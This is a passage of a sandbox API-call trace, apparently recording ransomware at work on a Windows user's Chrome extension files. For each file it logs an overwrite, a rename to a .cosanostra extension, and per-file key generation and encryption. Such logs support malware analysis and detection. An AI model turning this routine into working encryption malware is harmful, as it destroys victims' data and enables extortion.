(lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0087.100] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json") returned 155 [0087.100] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.101] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfffffebc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.101] WriteFile (in: hFile=0x190, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x2abf664, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x2abf664*=0x144, lpOverlapped=0x0) returned 1 [0087.101] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.101] WriteFile (in: hFile=0x190, lpBuffer=0x2abf6a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf664, lpOverlapped=0x0 | out: lpBuffer=0x2abf6a4*, lpNumberOfBytesWritten=0x2abf664*=0x4, lpOverlapped=0x0) returned 1 [0087.101] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf664, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf664*=0x30, lpOverlapped=0x0) returned 1 [0087.101] CloseHandle (hObject=0x190) returned 1 [0087.101] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json.cosanostra") returned 166 [0087.102] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json.cosanostra")) returned 1 [0087.103] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf6a0 | out: pbBuffer=0x2abf6a0) returned 1 [0087.103] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf698*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf698*=0x30) returned 1 [0087.103] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0087.104] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json") returned 155 [0087.104] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.105] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfffffed9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.105] WriteFile (in: hFile=0x190, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x127, lpNumberOfBytesWritten=0x2abf65c, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x2abf65c*=0x127, lpOverlapped=0x0) returned 1 [0087.105] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.105] WriteFile (in: hFile=0x190, lpBuffer=0x2abf69c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf65c, lpOverlapped=0x0 | out: lpBuffer=0x2abf69c*, lpNumberOfBytesWritten=0x2abf65c*=0x4, lpOverlapped=0x0) returned 1 [0087.105] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf65c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf65c*=0x30, lpOverlapped=0x0) returned 1 [0087.105] CloseHandle (hObject=0x190) returned 1 [0087.105] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json.cosanostra") returned 166 [0087.105] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json.cosanostra")) returned 1 [0087.107] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf698 | out: pbBuffer=0x2abf698) returned 1 [0087.107] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf690*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf690*=0x30) returned 1 [0087.107] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0087.134] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json") returned 155 [0087.134] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.135] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff16, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.135] WriteFile (in: hFile=0x18c, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2abf654, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x2abf654*=0xea, lpOverlapped=0x0) returned 1 [0087.135] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.136] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf694*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf654, lpOverlapped=0x0 | out: lpBuffer=0x2abf694*, lpNumberOfBytesWritten=0x2abf654*=0x4, lpOverlapped=0x0) returned 1 [0087.136] WriteFile (in: hFile=0x18c, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf654, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf654*=0x30, lpOverlapped=0x0) returned 1 [0087.136] CloseHandle (hObject=0x18c) returned 1 [0087.136] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json.cosanostra") returned 166 [0087.136] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json.cosanostra")) returned 1 [0087.138] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf690 | out: pbBuffer=0x2abf690) returned 1 [0087.138] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf688*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf688*=0x30) returned 1 [0087.138] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0087.213] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json") returned 155 [0087.214] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.214] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffff2e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.215] WriteFile (in: hFile=0x190, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xd2, lpNumberOfBytesWritten=0x2abf64c, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x2abf64c*=0xd2, lpOverlapped=0x0) returned 1 [0087.215] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.215] WriteFile (in: hFile=0x190, lpBuffer=0x2abf68c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf64c, lpOverlapped=0x0 | out: lpBuffer=0x2abf68c*, lpNumberOfBytesWritten=0x2abf64c*=0x4, lpOverlapped=0x0) returned 1 [0087.215] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf64c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf64c*=0x30, lpOverlapped=0x0) returned 1 [0087.215] CloseHandle (hObject=0x190) returned 1 [0087.215] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json.cosanostra") returned 166 [0087.215] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json.cosanostra")) returned 1 [0087.217] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf688 | out: pbBuffer=0x2abf688) returned 1 [0087.217] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf680*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf680*=0x30) returned 1 [0087.217] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0087.218] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json") returned 159 [0087.218] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.230] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfffffd7e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.231] WriteFile (in: hFile=0x190, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x282, lpNumberOfBytesWritten=0x2abf644, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x2abf644*=0x282, lpOverlapped=0x0) returned 1 [0087.231] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.231] WriteFile (in: hFile=0x190, lpBuffer=0x2abf684*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf644, lpOverlapped=0x0 | out: lpBuffer=0x2abf684*, lpNumberOfBytesWritten=0x2abf644*=0x4, lpOverlapped=0x0) returned 1 [0087.231] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf644, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf644*=0x30, lpOverlapped=0x0) returned 1 [0087.231] CloseHandle (hObject=0x190) returned 1 [0087.231] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json.cosanostra") returned 170 [0087.231] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json.cosanostra")) returned 1 [0087.233] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf680 | out: pbBuffer=0x2abf680) returned 1 [0087.233] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf678*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf678*=0x30) returned 1 [0087.233] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0087.233] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json") returned 159 [0087.233] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.248] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfffffd64, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.248] WriteFile (in: hFile=0x190, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x29c, lpNumberOfBytesWritten=0x2abf63c, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x2abf63c*=0x29c, lpOverlapped=0x0) returned 1 [0087.250] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.250] WriteFile (in: hFile=0x190, lpBuffer=0x2abf67c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf63c, lpOverlapped=0x0 | out: lpBuffer=0x2abf67c*, lpNumberOfBytesWritten=0x2abf63c*=0x4, lpOverlapped=0x0) returned 1 [0087.250] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf63c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf63c*=0x30, lpOverlapped=0x0) returned 1 [0087.250] CloseHandle (hObject=0x190) returned 1 [0087.251] wnsprintfW (in: pszDest=0x2ff0120, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json.cosanostra") returned 170 [0087.251] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json.cosanostra")) returned 1 [0087.251] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf680 | out: pbBuffer=0x2abf680) returned 1 [0087.251] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf678*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf678*=0x30) returned 1 [0087.251] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0087.262] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js") returned 153 [0087.262] StrStrW (lpFirst="cast_sender.js", lpSrch=".txt") returned 0x0 [0087.282] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.282] WriteFile (in: hFile=0x190, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf63c, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x2abf63c*=0x2800, lpOverlapped=0x0) returned 1 [0087.282] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.282] WriteFile (in: hFile=0x190, lpBuffer=0x2abf67c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf63c, lpOverlapped=0x0 | out: lpBuffer=0x2abf67c*, lpNumberOfBytesWritten=0x2abf63c*=0x4, lpOverlapped=0x0) returned 1 [0087.296] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf63c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf63c*=0x30, lpOverlapped=0x0) returned 1 [0087.296] CloseHandle (hObject=0x190) returned 1 [0087.296] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js.cosanostra") returned 164 [0087.297] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js.cosanostra")) returned 1 [0087.298] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf678 | out: pbBuffer=0x2abf678) returned 1 [0087.298] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf670*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf670*=0x30) returned 1 [0087.298] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0087.298] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json") returned 159 [0087.298] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.309] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfffffd7c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: 